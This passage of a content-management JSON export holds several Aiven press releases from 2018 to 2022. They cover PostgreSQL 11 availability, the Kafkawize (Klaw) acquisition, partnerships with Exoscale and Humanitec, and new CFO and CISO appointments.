Valtonen, VP of Product for Aiven, discusses why it was important to quickly make PG 11 available to its users, \"Our users have been especially waiting for the feature to support Just-In-Time (JIT) compilation for their workloads and we wanted to be able to give our customers an edge by being the first to support the new features.\""}],"markDefs":[],"style":"normal"},{"_key":"yaLtoc2M","_type":"block","children":[{"_key":"eeKy8qq7","_type":"span","marks":[],"text":"New users can access PostgreSQL 11 in minutes by creating an Aiven account and deploying PG 11 in the cloud and region of their choice. Current users can create a new instance or upgrade a current one using Aiven’s in-place major version upgrade feature."}],"markDefs":[],"style":"normal"},{"_key":"4PvjhTMi","_type":"block","children":[{"_key":"PjNuk65J","_type":"span","marks":[],"text":"For a brief overview of PostgreSQL 11’s more interesting improvements, "},{"_key":"3919c2a040eb","_type":"span","marks":["9f95b8496c60"],"text":"Aiven’s blog post"},{"_key":"c93243d0548f","_type":"span","marks":[],"text":". For the complete release notes, visit the "},{"_key":"mmRD605N","_type":"span","marks":["m4876102471916"],"text":"PostgreSQL Development Group site"},{"_key":"JSFI0GQa","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m4876102471916","_type":"link","href":"https://www.postgresql.org/docs/devel/release-11.html"},{"_key":"9f95b8496c60","_type":"internalLink","internalLink":{"_ref":"3MzPdya5bNv78u9lue1cL8","_type":"reference"}}],"style":"normal"},{"_key":"dLlJYvNM","_type":"block","children":[{"_key":"zHBqpH3n","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"OpSBdUTW","_type":"block","children":[{"_key":"D8E7kWQJ","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"JBhHqibW","_type":"block","children":[{"_key":"lSBgGOVR","_type":"span","marks":[],"text":"You can visit "},{"_key":"ofXZYdKj","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"DipkgEpT","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"nyO9Vhx6","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"DW8dan6O","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-11-06T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: We were the first to make PostgreSQL 11 generally available across AWS, GCP, Microsoft Azure \u0026 other platforms in 2018.","metaTitle":"Aiven first to provide PostgreSQL 11 In the cloud"},"slug":{"_type":"slug","current":"/press/aiven-first-to-provide-postgresql-11-in-the-cloud"},"subtitle":"Aiven Press Release: We were the first to make PostgreSQL 11 generally available across AWS, GCP, Microsoft Azure \u0026 other platforms in 2018.","title":"Aiven first to provide PostgreSQL 11 In the cloud"}
{"__i18n_lang":"en","_createdAt":"2022-09-30T15:57:26Z","_id":"3SHRWehHvhIqxaM9Fjhy1K","_rev":"ElrRHx5al3kb1PwLXHPPZd","_type":"pressRelease","_updatedAt":"2022-12-02T13:23:43Z","content":[{"_key":"2Ydb1s3T","_type":"block","children":[{"_key":"4Jx4aMSF","_type":"span","marks":["em"],"text":"On the heels of its successful Series D funding round, Aiven reinvests in its company growth and ongoing commitment to open source program via investment in Kafkawize, now Klaw."}],"markDefs":[],"style":"normal"},{"_key":"i7zW5WnR","_type":"block","children":[{"_key":"744af122fe4f","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — September 29, 2022"},{"_key":"R5BSGFPn","_type":"span","marks":[],"text":"— "},{"_key":"VOcHj4Zm","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"imqeFUrc","_type":"span","marks":[],"text":", the open source cloud data platform company, today announced "},{"_key":"Banfts3K","_type":"span","marks":["m5422984811133"],"text":"Kafkawize"},{"_key":"VXAIcMdm","_type":"span","marks":[],"text":", an open source data governance tool for Apache Kafka®, is joining Aiven. Marking a first for the company, this acquisition signals Aiven’s evolution from an open-source contributor to a steward of open-source communities. As part of this transition, Kafkawize has been renamed Klaw."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m5422984811133","_type":"link","href":"https://kafkawize.com/"}],"style":"normal"},{"_key":"fRUvHd5T","_type":"block","children":[{"_key":"stw4wyQa","_type":"span","marks":[],"text":"“I’m thrilled to welcome Klaw to the Aiven family and strengthen our collective commitment to open source,” said Oskari Saarenmaa, CEO and co-founder of Aiven. “Enhancing our ability to support the open source community at scale, this acquisition is a natural progression of the work being done in our Open Source Program Office, and we can’t wait to continue evolving our commitment in an impactful way.”"}],"markDefs":[],"style":"normal"},{"_key":"SdOwYR7B","_type":"block","children":[{"_key":"iCoq3p4T","_type":"span","marks":[],"text":"Klaw directly meets the needs of developers by providing a Kafka governance interface that can manage topic-level operations. Klaw has joined Aiven’s Open Source Program Office where it will continue to be developed as an open source project under the Apache License 2.0. Kafkawize's Founder and developer, "},{"_key":"dP9kMHIJ","_type":"span","marks":["m3590309553690"],"text":"Murali Basani"},{"_key":"fmgxgZ5M","_type":"span","marks":[],"text":", will also join the Aiven Open Source Program Office to continue working on Klaw."}],"markDefs":[{"_key":"m3590309553690","_type":"link","href":"https://www.linkedin.com/in/muralibasani/"}],"style":"normal"},{"_key":"mF4GlhO2","_type":"block","children":[{"_key":"YdAt4Gua","_type":"span","marks":[],"text":"“While most organizations are widely adopting Kafka in their technology stacks, companies are also struggling with improper governance of hundreds of topics created and their authorizations. I started Kafkawize in 2018 to help answer important questions around topic ownership and security. I wanted to fill these and other gaps around the governance of Kafka topics, ACLs, schemas and connectors in an auditable way.” said Basani. “With Aiven’s support, Klaw can reach its full potential in the coming years. I am excited to continue this open source journey at Aiven.”"}],"markDefs":[],"style":"normal"},{"_key":"8yKDaJqn","_type":"block","children":[{"_key":"cU6D5sZV","_type":"span","marks":[],"text":"Klaw provides data governance with enterprise grade security and user management functionality, solving obstacles organizations face when scaling the adoption of Apache Kafka®, such as user management and topic-level operations. As Apache Kafka® utilization becomes more complex with broader use and a growing ecosystem, Klaw helps organizations make better decisions, enhance regulatory compliance and optimize efficiency of their Apache Kafka® footprint at scale."}],"markDefs":[],"style":"normal"},{"_key":"hwR1rdrH","_type":"block","children":[{"_key":"25kduwVg","_type":"span","marks":[],"text":"In addition to the Open Source Program Office that was founded in April of 2021, Aiven also supports its employees in their personal open source pursuits through its Plankton Program, a program that allows employees to claim compensation for the time they spend on open source activities outside of work. It allows Aiven to support and recognize the extra work and improvements its employees are having on the overall open source ecosystem."}],"markDefs":[],"style":"normal"},{"_key":"1EtWw9uW","_type":"block","children":[{"_key":"XN7jNiZD","_type":"span","marks":[],"text":"For more information on Aiven, please visit "},{"_key":"15aLjH2M","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"03Hlz1fW","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"UKiRdWGJ","_type":"block","children":[{"_key":"4bXOUCtp","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"DYCca7py","_type":"block","children":[{"_key":"n3gmBNqb","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"mtxXNSA0","_type":"block","children":[{"_key":"GriJRJcu","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"lvLLi5eT","_type":"block","children":[{"_key":"UHVUhLtQ","_type":"span","marks":[],"text":"Aiven"}],"markDefs":[],"style":"normal"},{"_key":"Q5TmgncB","_type":"block","children":[{"_key":"nBi09ZAu","_type":"span","marks":[],"text":"Rachel Romoff"}],"markDefs":[],"style":"normal"},{"_key":"rQc8wW26","_type":"block","children":[{"_key":"6InTsOik","_type":"span","marks":["m8397223825790"],"text":"rachel.romoff@aiven.io"}],"markDefs":[{"_key":"m8397223825790","_type":"link","href":"mailto:rachel.romoff@aiven.io"}],"style":"normal"}],"publishedAt":"2022-09-29T00:00:00.000Z","seo":{"metaDescription":"Aiven, the open source cloud data platform company, today announced Kafkawize, an open source data governance tool for Apache Kafka®, is joining Aiven.","metaTitle":"Kafkawize joins Aiven to continue open source journey"},"slug":{"_type":"slug","current":"/press/kafkawize-joins-aiven-to-continue-open-source-journey"},"subtitle":"Aiven, the open source cloud data platform company, today announced Kafkawize, an open source data governance tool for Apache Kafka®, is joining Aiven.","title":"Kafkawize joins Aiven to continue open source journey"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"3lbS0uI6eBeT5JAPMW9Vyg","_rev":"0rD6Phxg3duzic15oE8ZDV","_type":"pressRelease","_updatedAt":"2022-12-02T12:43:52Z","content":[{"_key":"caHQQxFP","_type":"block","children":[{"_key":"0da02a72fd6e","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 23, 2021"},{"_key":"rJkKPCLk","_type":"span","marks":[],"text":" — "},{"_key":"zq8MsmMh","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"LHR5mDfP","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced its partnership with "},{"_key":"xyznqnvR","_type":"span","marks":["m3502795916905"],"text":"Exoscale"},{"_key":"4A3nR8mt","_type":"span","marks":[],"text":", a European cloud hosting alternative, to offer Exoscale customers Aiven’s managed database services."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m3502795916905","_type":"link","href":"https://www.exoscale.com/"}],"style":"normal"},{"_key":"IWrC4cMF","_type":"block","children":[{"_key":"sxVxMsZV","_type":"span","marks":[],"text":"Over the years, Exoscale has helped hundreds of European customers migrate, run and scale their production workloads - all while ensuring full GDPR compliance for all workloads it manages. Through this partnership, Aiven and Exoscale will be better positioned to serve the European market’s cloud services needs while ensuring full compliance."}],"markDefs":[],"style":"normal"},{"_key":"DCR9tFGv","_type":"block","children":[{"_key":"DwegtMU7","_type":"span","marks":[],"text":"DBaaS (Database-as-a-Service) is the fastest growing domain in cloud services, according to Gartner, and "},{"_key":"ZqpvCyHn","_type":"span","marks":["m4136441043906"],"text":"market research"},{"_key":"74DPAIml","_type":"span","marks":[],"text":" predicts the global cloud database and DBaaS market size will reach $26B by 2025. The partnership enables Exoscale customers to instantly and seamlessly create relational and distributed databases in an integrated environment without any security compromise."}],"markDefs":[{"_key":"m4136441043906","_type":"link","href":"https://www.globenewswire.com/en/news-release/2021/01/14/2158960/0/en/Cloud-Database-and-DBaaS-Market-to-reach-US-26-billion-by-2025-Global-Insights-on-Trends-Value-Chain-Analysis-Growth-Opportunities-Key-Stakeholders-Players-and-Business-Opportuniti.html"}],"style":"normal"},{"_key":"kLAm42U6","_type":"block","children":[{"_key":"qKY8kTps","_type":"span","marks":[],"text":"“European businesses face unique compliance challenges and requirements. Through our partnership with one of the world’s leading DBaaS providers, we’re better able to support our customers’ growing database services needs, all while doing what we do best - ensuring compliance,” said Mathias Nöbauer, CEO of Exoscale. “We’re excited to partner with Aiven and expand our cloud service offerings for our customers.”"}],"markDefs":[],"style":"normal"},{"_key":"zUmptgtv","_type":"block","children":[{"_key":"c7LxtBUw","_type":"span","marks":[],"text":"Aiven’s managed services offered within the Exoscale public cloud include database instances, database storage and API services, enabling features like the ability to create, restore and manage different database stores, migrate database services without user disruption when upgrading software or migrating instances across cloud infrastructure, as well as statistics and monitoring information on the underlying operating system."}],"markDefs":[],"style":"normal"},{"_key":"Ik2atUUF","_type":"block","children":[{"_key":"tAL2ghIm","_type":"span","marks":[],"text":"“As the DBaaS market continues its rapid expansion, it's important to Aiven to meet the data residency needs and challenges of businesses,” said Aiven CEO Oskari Saarenmaa.“ We are excited to work with Exoscale in offering DBaaS services to their customers.”"}],"markDefs":[],"style":"normal"},{"_key":"JXKQNAqy","_type":"block","children":[{"_key":"Nysz36mD","_type":"span","marks":[],"text":"For more information about Exoscale’s DBaaS offering powered by Aiven, please visit "},{"_key":"M1viWli1","_type":"span","marks":["m14516457497267"],"text":"https://www.exoscale.com/dbaas/"},{"_key":"AcccoWd0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14516457497267","_type":"link","href":"https://www.exoscale.com/dbaas/"}],"style":"normal"},{"_key":"eUuS7BHy","_type":"block","children":[{"_key":"RBLtYCk1","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"cs8u4ODs","_type":"block","children":[{"_key":"Q5V9BQuF","_type":"span","marks":[],"text":"Headquartered in Helsinki with hubs in Berlin, Sydney, Toronto and Boston, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"v7n3UM03","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"T3xM2PGz","_type":"span","marks":[],"text":" and follow "},{"_key":"a5F7Wu8N","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"1XkyxKlG","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"TOpYmYKP","_type":"block","children":[{"_key":"dth6JtwV","_type":"span","marks":["strong"],"text":"About Exoscale"}],"markDefs":[],"style":"normal"},{"_key":"BXiF6EzA","_type":"block","children":[{"_key":"yfA6soVo","_type":"span","marks":[],"text":"Exoscale provides cloud hosting enabling teams and individuals to host applications, automate infrastructure, store data safely, and run heavy computations. Exoscale customers range from many SaaS companies to scientific labs, financial institutions, and other large-scale organisations. With virtual machines, object storage, advanced network functionality, and GPU-backed instances in addition to the highest level of data privacy, Exoscale is the right choice for security-conscious users worldwide. Exoscale is headquartered in Switzerland and operates datacenters in Geneva, Zurich and other European cities. For more information please visit "},{"_key":"capp57Yo","_type":"span","marks":["m3502795916905"],"text":"www.exoscale.com"},{"_key":"SSh4YcoJ","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3502795916905","_type":"link","href":"https://www.exoscale.com/"}],"style":"normal"}],"publishedAt":"2021-06-23T00:00:00.000Z","seo":{"metaDescription":"Aiven will provide its leading open-source DBaaS services to deliver a comprehensive data cloud service on Exoscale infrastructure.","metaTitle":"Aiven partners up with Exoscale to drive DBaaS offerings"},"slug":{"_type":"slug","current":"/press/aiven-partners-with-exoscale-to-drive-open-source-database-as-a-service"},"subtitle":"Aiven will provide its leading open-source DBaaS services to deliver a comprehensive data cloud service on Exoscale infrastructure.","title":"Aiven partners up with Exoscale to drive DBaaS offerings"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"2kE8fdy7GvaS3gafjhQYuX","_rev":"0rD6Phxg3duzic15oE8HRC","_type":"pressRelease","_updatedAt":"2022-12-02T12:36:06Z","content":[{"_key":"tyJ6TZAt","_type":"block","children":[{"_key":"qpjLF1iM","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — March 2, 2021"},{"_key":"wvysFW4v","_type":"span","marks":[],"text":"— "},{"_key":"SiCvSi4K","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"5sMQhm4Y","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced its technical alliance with "},{"_key":"QAUCNnzp","_type":"span","marks":["m14262056162974"],"text":"Humanitec"},{"_key":"9Hjgrk0E","_type":"span","marks":[],"text":", the market-leading provider of Internal Developer Platforms. By pairing Aiven and Humanitec technologies, the application and database layers on each public cloud platform can work in harmony."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m14262056162974","_type":"link","href":"https://humanitec.com/"}],"style":"normal"},{"_key":"ABuK31H5","_type":"block","children":[{"_key":"YAMPvOYs","_type":"span","marks":[],"text":"Aiven’s service lets developers use various open source managed databases on AWS, GCP, Azure, DigitalOcean, and UpCloud minimizing vendor lock-in and standardizing the developer experience in the cloud, while Humanitec performs the equivalent for the application layer. Humanitec users build their own Internal Developer Platform (IDP), then plug into existing delivery, orchestration, and management tools like your CI Pipeline, Kubernetes Cluster, or an Aiven database service. Together, Aiven and Humanitec aim to keep overhead within operations teams as low as possible and provide developers a customized, reliable solution based on their unique needs."}],"markDefs":[],"style":"normal"},{"_key":"hSe2Mxli","_type":"block","children":[{"_key":"CDfFZxib","_type":"span","marks":[],"text":"“Our alliance with Humanitec is a huge stride forward for the developer cloud experience,” says Oskari Saarenmaa, CEO of Aiven. “Not only do our offerings complement one another, but by teaming up with Humanitec, we can provide enhanced productivity for development and operations teams across the board.”"}],"markDefs":[],"style":"normal"},{"_key":"0AANznL5","_type":"block","children":[{"_key":"rYyd7F0T","_type":"span","marks":[],"text":"Developers now have more time to focus on features, rather than the quirks of underlying data and vendor infrastructure. This alliance also breaks down the complexity of multi-cloud use cases, giving customers who desire to future-proof their business a new path to take by standardizing and automating workflows and scripts to reach seamless operations on and transition between providers. Customers will begin to see reduced maintenance overhead, smoother scripting processes, and minimal change to various APIs. By reaching this degree of standardization, developer-self service is also possible, increasing productivity for operations teams."}],"markDefs":[],"style":"normal"},{"_key":"P6zZG0So","_type":"block","children":[{"_key":"GbtXbbHN","_type":"span","marks":[],"text":"“Developer experience drives velocity. For enterprise-developers, what tech their code runs on should be an implementation detail the ops team takes care of,” says Kaspar von Grünberg, CEO at Humanitec. “We’ve changed the game on the app-layer already, and I’m excited to extend this momentum to the database-layer through this partnership.”"}],"markDefs":[],"style":"normal"},{"_key":"huf6FKcW","_type":"block","children":[{"_key":"xwowsdfT","_type":"span","marks":["strong"],"text":"About Aiven"},{"_key":"v7aaCjig","_type":"span","marks":[],"text":" Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide. For more information, visit "},{"_key":"Qc9oJqn4","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"IMM9nxEv","_type":"span","marks":[],"text":" or follow Aiven on Twitter: "},{"_key":"AQgN5AH0","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"FdYDiWlY","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"oC2ARYBx","_type":"block","children":[{"_key":"BGExFlxh","_type":"span","marks":["strong"],"text":"About Humanitec"},{"_key":"Q98ytsaj","_type":"span","marks":[],"text":" Humanitec is the market leader for Internal Developer Platforms. The company helps Ops teams from startups to enterprises build and run their own Internal Developer Platforms for their application development teams. Humanitec's unique approach relieves pressure on Ops and boosts developer productivity. For more information, visit "},{"_key":"kgvSxsgc","_type":"span","marks":["m14262056162974"],"text":"https://humanitec.com"},{"_key":"U8mtbgL2","_type":"span","marks":[],"text":" or follow Humanitec on Twitter: "},{"_key":"Ams47fpO","_type":"span","marks":["m953004155197"],"text":"@Humanitec_com"}],"markDefs":[{"_key":"m14262056162974","_type":"link","href":"https://humanitec.com/"},{"_key":"m953004155197","_type":"link","href":"https://twitter.com/Humanitec_com"}],"style":"normal"}],"publishedAt":"2021-03-02T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"The alliance with the market leading provider of Internal Developer Platforms will simplify daily developer workflows and maintenance.","metaTitle":"Aiven Humanitec alliance for new developer experience layer"},"slug":{"_type":"slug","current":"/press/aiven-and-humanitec-alliance-for-new-developer-experience-layer"},"subtitle":"The alliance with the market leading provider of Internal Developer Platforms will simplify daily developer workflows and maintenance.","title":"Aiven and Humanitec alliance for new developer experience layer"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"4M90TmniNW7wQHBYugUJGS","_rev":"K0rtrsNuqDEgCtVQHcbHRk","_type":"pressRelease","_updatedAt":"2022-12-20T07:38:46Z","body":"__HELSINKI, Finland__ — [Aiven](https://aiven.io/ \"Aiven\"), a software company that combines the best open source technologies with cloud infrastructure, announced today the appointment of __Julian Lange__ as Chief Financial Officer and __James Arlen__ as Chief Information Security Officer to the Aiven team.\n\nBringing a combined 35+ years of experience to Aiven, both Lange and Arlen represent key additions to an executive team the company has started building out last year. The additions follow Aiven’s $40M [Series B](https://aiven.io/press/aiven-raises-40-million-series-b \"Series B\") from early 2020, after which the company further emphasized several new initiatives, including the expansion of its product roadmap and operations in North America, to heighten global awareness of Aiven’s offerings.\n\n“The strategic appointment of Julian and James is paramount to our future success,” said __Oskari Saarenmaa__, CEO of Aiven. “Given our continued fast growth, it is important we bring onboard seasoned professionals in vital functions such as Finance and Information Security, next to our big investments into our technological, engineering and go-to-market capabilities.”\n\nLange has more than 15 years of experience in private and public companies, having worked with large corporations and startups in a variety of B2B and B2C industries. Previously CFO at ASX listed Marley Spoon, he helped grow a small startup into a profitable $300+ million revenue company, operating on three continents, over the course of six years. Before that, Lange worked at General Electric (GE) for 10 years and held several key financial roles in both the US and Europe.\n\n“Aiven’s growth to-date has been impressive,” Lange said. “I am thrilled to have the opportunity to join the company at such a pivotal moment in its evolution and look forward to contributing to Aiven’s continued success.” \n\nWith more than two decades of experience delivering information security solutions to Fortune 500, TSE 100 and major public-sector companies, Arlen has held key roles in publicly traded financial companies, large-scale power utilities and internationally-recognized manufacturing and financial organizations. Prior to joining Aiven, he most recently served as the Director of Production Engineering at Salesforce Heroku. Arlen’s expertise, which includes security certifications in CISSP, CISA and CRISC, has led him [to be a known voice](https://twitter.com/myrcurial \"James Arlen on Twitter\") in the industry as a blogger, podcaster, speaker and contributor to media and standards.\n\n“In this new role with Aiven, I plan to broaden our compliance base, continue to execute an already advanced security program and fully integrate security across all our organization’s functions. The future for Aiven is bright, and I am excited to offer my skills and insights as the company continues to evolve,” Arlen said.\n\n###\n\n__About Aiven__\nHeadquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide. For more information, visit [https://aiven.io](https://aiven.io/ \"Aiven\") or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io \"Aiven Twitter\"). ","content":[{"_key":"oXaOLsAj","_type":"block","children":[{"_key":"D1NfduIg","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — February 17, 2021- "},{"_key":"GSXQnVkl","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"08kZh7Gm","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, announced today the appointment of "},{"_key":"ALgsGwvv","_type":"span","marks":["strong"],"text":"Julian Lange"},{"_key":"E1Gix7gA","_type":"span","marks":[],"text":" as Chief Financial Officer and "},{"_key":"5HRviiSG","_type":"span","marks":["strong"],"text":"James Arlen"},{"_key":"rO6kswQC","_type":"span","marks":[],"text":" as Chief Information Security Officer to the Aiven team."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"4PvY8zYC","_type":"block","children":[{"_key":"QF2xZEQA","_type":"span","marks":[],"text":"Bringing a combined 35+ years of experience to Aiven, both Lange and Arlen represent key additions to an executive team the company has started building out last year. The additions follow Aiven’s $40M "},{"_key":"iCwW0rku","_type":"span","marks":["m10535325451318"],"text":"Series B"},{"_key":"xUsmTHcf","_type":"span","marks":[],"text":" from early 2020, after which the company further emphasized several new initiatives, including the expansion of its product roadmap and operations in North America, to heighten global awareness of Aiven’s offerings."}],"markDefs":[{"_key":"m10535325451318","_type":"link","href":"https://www.tfir.io/aiven-raises-40-million-in-series-b-funding/"}],"style":"normal"},{"_key":"Qq7Kv7t6","_type":"block","children":[{"_key":"qupWqayz","_type":"span","marks":[],"text":"“The strategic appointment of Julian and James is paramount to our future success,” said "},{"_key":"olhBZRjm","_type":"span","marks":["strong"],"text":"Oskari Saarenmaa"},{"_key":"g1lGypuO","_type":"span","marks":[],"text":", CEO of Aiven. “Given our continued fast growth, it is important we bring onboard seasoned professionals in vital functions such as Finance and Information Security, next to our big investments into our technological, engineering and go-to-market capabilities.”"}],"markDefs":[],"style":"normal"},{"_key":"m99vMA6H","_type":"block","children":[{"_key":"wmlRPlLN","_type":"span","marks":[],"text":"Lange has more than 15 years of experience in private and public companies, having worked with large corporations and startups in a variety of B2B and B2C industries. Previously CFO at ASX listed Marley Spoon, he helped grow a small startup into a profitable $300+ million revenue company, operating on three continents, over the course of six years. Before that, Lange worked at General Electric (GE) for 10 years and held several key financial roles in both the US and Europe."}],"markDefs":[],"style":"normal"},{"_key":"oO6pTFb3","_type":"block","children":[{"_key":"erDb4D0B","_type":"span","marks":[],"text":"“Aiven’s growth to-date has been impressive,” Lange said. “I am thrilled to have the opportunity to join the company at such a pivotal moment in its evolution and look forward to contributing to Aiven’s continued success.”"}],"markDefs":[],"style":"normal"},{"_key":"6x8eqB6V","_type":"block","children":[{"_key":"kNaH9kd2","_type":"span","marks":[],"text":"With more than two decades of experience delivering information security solutions to Fortune 500, TSE 100 and major public-sector companies, Arlen has held key roles in publicly traded financial companies, large-scale power utilities and internationally-recognized manufacturing and financial organizations. Prior to joining Aiven, he most recently served as the Director of Production Engineering at Salesforce Heroku. Arlen’s expertise, which includes security certifications in CISSP, CISA and CRISC, has led him "},{"_key":"B01dKfQ0","_type":"span","marks":["m5832382412161"],"text":"to be a known voice"},{"_key":"DG4Q5fIH","_type":"span","marks":[],"text":" in the industry as a blogger, podcaster, speaker and contributor to media and standards."}],"markDefs":[{"_key":"m5832382412161","_type":"link","href":"https://twitter.com/myrcurial"}],"style":"normal"},{"_key":"N5YEfOZh","_type":"block","children":[{"_key":"Gzy4YjVS","_type":"span","marks":[],"text":"“In this new role with Aiven, I plan to broaden our compliance base, continue to execute an already advanced security program and fully integrate security across all our organization’s functions. The future for Aiven is bright, and I am excited to offer my skills and insights as the company continues to evolve,” Arlen said."}],"markDefs":[],"style":"normal"},{"_key":"ex9i0AKJ","_type":"block","children":[{"_key":"DJ1qR2t3","_type":"span","marks":["strong"],"text":"About Aiven"},{"_key":"2lhr4zyM","_type":"span","marks":[],"text":" Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide. For more information, visit "},{"_key":"75FX3uCI","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"8iIhrwwM","_type":"span","marks":[],"text":" or follow Aiven on Twitter: "},{"_key":"tzOazsBt","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"aF42Ibqm","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-02-17T00:00:00.000Z","seo":{"metaDescription":"Aiven brings on two seasoned executives to its C-suite to continue its global growth story after more than doubling revenue in 2020","metaTitle":"Aiven announces expansion of leadership with two new hires"},"slug":{"_type":"slug","current":"/press/aiven-announces-expansion-of-leadership-with-two-new-hires"},"subtitle":"Aiven brings on two seasoned executives to its C-suite to continue its global growth story after more than doubling revenue in 2020","title":"Aiven announces expansion of leadership with two new hires"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"67in4MFDkXfhbsq1fT8Ddn","_rev":"5iTZEBNHx5PwgJLwP8h228","_type":"pressRelease","_updatedAt":"2022-12-02T12:43:02Z","content":[{"_key":"adrGiYdL","_type":"block","children":[{"_key":"hwC6UHUO","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 27, 2021"},{"_key":"OScPDDVQ","_type":"span","marks":[],"text":" – Research released today by Aiven, a software company that combines the best open source technologies with cloud infrastructure, revealed that over 90 per cent of enterprise cloud developers believe open source will be a part of the future of their organisations, as businesses look to grow once more post-pandemic."}],"markDefs":[],"style":"normal"},{"_key":"UF1ROd0P","_type":"block","children":[{"_key":"OZgkUqhG","_type":"span","marks":[],"text":"Enterprise adoption of open source software has grown rapidly in recent years as businesses have sought cost-effective and innovative solutions to drive growth. The pandemic has only accelerated this trend, with organisations looking at how they can improve business processes and maintain growth despite the economic downturn."}],"markDefs":[],"style":"normal"},{"_key":"vJyGUdEn","_type":"block","children":[{"_key":"GWYImGzk","_type":"span","marks":[],"text":"Aiven’s survey investigated the opinions of cloud and database developers working for large enterprises and discovered that the popularity of open source has been driven by its wide variety of benefits. In fact, developers listed twice as many benefits associated with open source technology as they did disadvantages, highlighting the growing positivity towards open source across businesses in general."}],"markDefs":[],"style":"normal"},{"_key":"MyCrHq65","_type":"block","children":[{"_key":"9wiLeGwy","_type":"span","marks":[],"text":"The most popular advantage of open source listed by the developers was the transparency of the code, which makes it easier to find and fix bugs quickly. 69 per cent of respondents 